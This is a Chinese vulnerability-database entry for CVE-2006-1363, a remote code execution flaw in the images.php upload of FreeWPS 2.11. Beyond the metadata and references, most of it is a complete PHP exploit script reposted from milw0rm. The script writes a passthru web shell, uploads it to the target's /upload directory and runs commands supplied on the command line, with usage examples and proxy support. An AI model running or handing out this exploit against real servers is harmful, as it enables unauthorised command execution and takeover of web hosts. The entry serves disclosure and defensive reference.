Justin White 'images.php'任意PHP代码执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109934 漏洞类型 未知
发布时间 2006-03-21 更新时间 2006-03-23
CVE编号 CVE-2006-1363 CNNVD-ID CNNVD-200603-388
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1600
https://www.securityfocus.com/bid/88050
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200603-388
|漏洞详情
在JustinWhite(akaYTZ)FreeWeb出版系统(FreeWPS)2.11中的images.php,可以让远程攻击者通过上载一个.php文件到在dirPath参数指定的/upload目录下,然后发送一条直接请求到该文件中来执行任意PHP代码。
|漏洞EXP
<?
error_reporting(E_ERROR);

function exploit_init()
{
    if (!extension_loaded('php_curl') && !extension_loaded('curl'))
    {
       if (!dl('curl.so') && !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function exploit_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "ooooooooooooooooooooooooooooo freewps 2.11 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php freewps-211-exploit.php [url] [cmd]\n";
    echo "oo proxy support  $ php freewps-211-exploit.php [url] [cmd] [proxy]:[port]\n";
    echo "oo example        $ php freewps-211-exploit.php http://localhost 'ls -a'\n";
    echo "oo execute a command on the remote system by uploading a shell\n\n";
    echo "oo command : " . $_SERVER['argv'][2] . "\n\n";
}

function exploit_bottom()
{
    echo "\noo greets   : b0xC - i want to wish you a happy 21st birthday! this is my small\n";
    echo "              present for you. :)\n";
    echo "oo discover : x128 - alexander wilhelm - 21/03/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net\n";
}

function exploit_execute()
{
    $connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }
    curl_setopt ($connection, CURLOPT_USERAGENT, 'x128');
    curl_setopt ($connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($connection, CURLOPT_HEADER, 0);

    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/upload/shell.php");
    $source = curl_exec($connection);

    if(strpos($source, "404"))
    {
       $shell = fopen("shell.php", "w");
       fwrite($shell, "<? ini_set(max_execution_time,0); passthru(\$HTTP_GET_VARS[shell]); ?>");
       fclose($shell);

       curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/htmlarea/popups/ImageManager/images.php");
       curl_setopt ($connection, CURLOPT_POST, 1);
       curl_setopt ($connection, CURLOPT_POSTFIELDS, array("upload" => "@shell.php", "dirPath"=> "/upload"));
       curl_exec($connection) or die("oo error - cannot connect!\n");

       sleep(2);
       unlink("shell.php");
    }
    curl_setopt ($connection, CURLOPT_POST, 0);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/upload/shell.php?shell=" . urlencode($_SERVER['argv'][2]));

    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    echo $source;

    curl_close ($connection);
}

exploit_init();
exploit_header();
exploit_execute();
exploit_bottom();
?>

# milw0rm.com [2006-03-21]
|受影响的产品
Justin White Freewps 2.11
|参考资料

来源:MILW0RM
名称:1600
链接:http://www.milw0rm.com/exploits/1600
来源:XF
名称:freewps-images-file-include(25377)
链接:http://xforce.iss.net/xforce/xfdb/25377
来源:VUPEN
名称:ADV-2006-1038
链接:http://www.frsirt.com/english/advisories/2006/1038
来源:SECUNIA
名称:19343
链接:http://secunia.com/advisories/19343